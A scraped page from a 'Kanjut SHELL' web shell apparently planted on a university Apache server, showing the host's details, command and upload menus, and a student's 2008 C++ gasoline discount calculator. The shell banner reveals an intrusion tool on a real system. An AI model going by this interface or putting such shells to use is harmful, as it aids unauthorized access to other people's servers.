Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.145.66.104
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/kames/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //home/kames/assign2.cpp
// --------------------------------------------------------------
//	
//	Written By: Kieara Mowery
//	Date: September 23, 2008
//	Due: September 26, 2008
//	
//	Note: Uses if .. else control structures.
//	Purpose: To design and write a c++ program to solve the gasoline 
//      prices, and match it up with it's type of gasoline. Also this program
//	is to output the discount points for each gallon of gas purchased, and
//	to output the total cost of gas including the 10% off for the car wash.
//
// --------------------------------------------------------------


    // -----  Preprocessor Section -----

    #include <iostream>
    #include <iomanip>
    using namespace std;

    // ----- Main Function -----

    int main()
    {

    // ----- Variables -----
          
    int intgallons,	// Gallons
	gascost;
//	reg = 3.399,
//	pre = 3.539,
//	sup = 3.679;
	
    float
	gallons,	// Number of Gallons Purchased
	discpts,	// Discount Points for Each Grade
	totalcost,	// Total Cost
	reg = 3.399,	// Regular
   	pre = 3.539,	// Premium
	sup = 3.679;	// Supremium

    char
        grade; 		// Types of Gasoline


    // ----- Input Values (Number of gallons) -----

    cout << " \n\n ~~~~~ Welcome to the Gasoline&Wash Discount Calculator! ~~~~~ \n\n ";

    cout << " \n\n Enter number of gallons you would like to purchase: ";
    cin >> gallons;
    intgallons = gallons;

    cout << " \n\n Enter Grade of Gasoline (R for Reg, P for Prem, or S for Supreme): ";
    cin >> grade;

    // cout << " \n\n Enter Total Cost of Gas: ";
    // cin >> totalcost;

    // ----- Calculations -----

    if ( grade == 'R' && gallons <= 15 || grade == 'r' && gallons <= 15 )
    {
	gascost = ( reg * gallons );
	totalcost = ( reg * gallons ) + 5.40;
   	discpts = 3 * intgallons;
    }
    else if ( grade == 'R' && gallons >= 15 || grade == 'r' && gallons >= 15 )
    {
	gascost = ( reg * gallons );
     	totalcost = ( reg * gallons );
	discpts = 3 * intgallons; 
	cout << "~~~Free Car Wash!~~~" << endl;
    }
    else if ( grade == 'P' && gallons <= 15 || grade == 'p' && gallons <= 15 )
    {	
	gascost = ( pre * gallons);
	totalcost = ( pre * gallons ) + 5.40;
	discpts = 4 * intgallons;
    }
    else if ( grade == 'P' && gallons >= 15 || grade == 'p' && gallons >= 15 )
    {
	gascost = ( pre * gallons );
	totalcost = ( pre * gallons );
	discpts = 4 * intgallons;	
	cout << "~~~Free Car Wash!~~~" << endl;
    } 
    else if ( grade == 'S' && gallons <= 15 || grade == 's' && gallons <= 15 )
    {
	gascost = ( sup * gallons );
	totalcost = ( sup * gallons) + 5.40;
 	discpts = 5 * intgallons;
    }    
    else if ( grade == 'S' && gallons >= 15 || grade == 's' && gallons >= 15)
    {	
	gascost = ( sup * gallons );
	totalcost  = ( sup * gallons );
	discpts = 5 * intgallons;
	cout << "~~~Free Car Wash!~~~" << endl;
     }

    // ----- Display Calculations ----

    cout << fixed;
    cout << setprecision(1); 	
    cout << " Grade Purchased: " << grade << endl;
    cout << " Cost of Gas: " << gascost << endl;		  
    cout << " Total Cost for Gas & wash: " << totalcost << endl;
    cout << "\n\n You have earned " << discpts << " discount points!" << endl;

    return 0;

}


Stv3n404 - 2023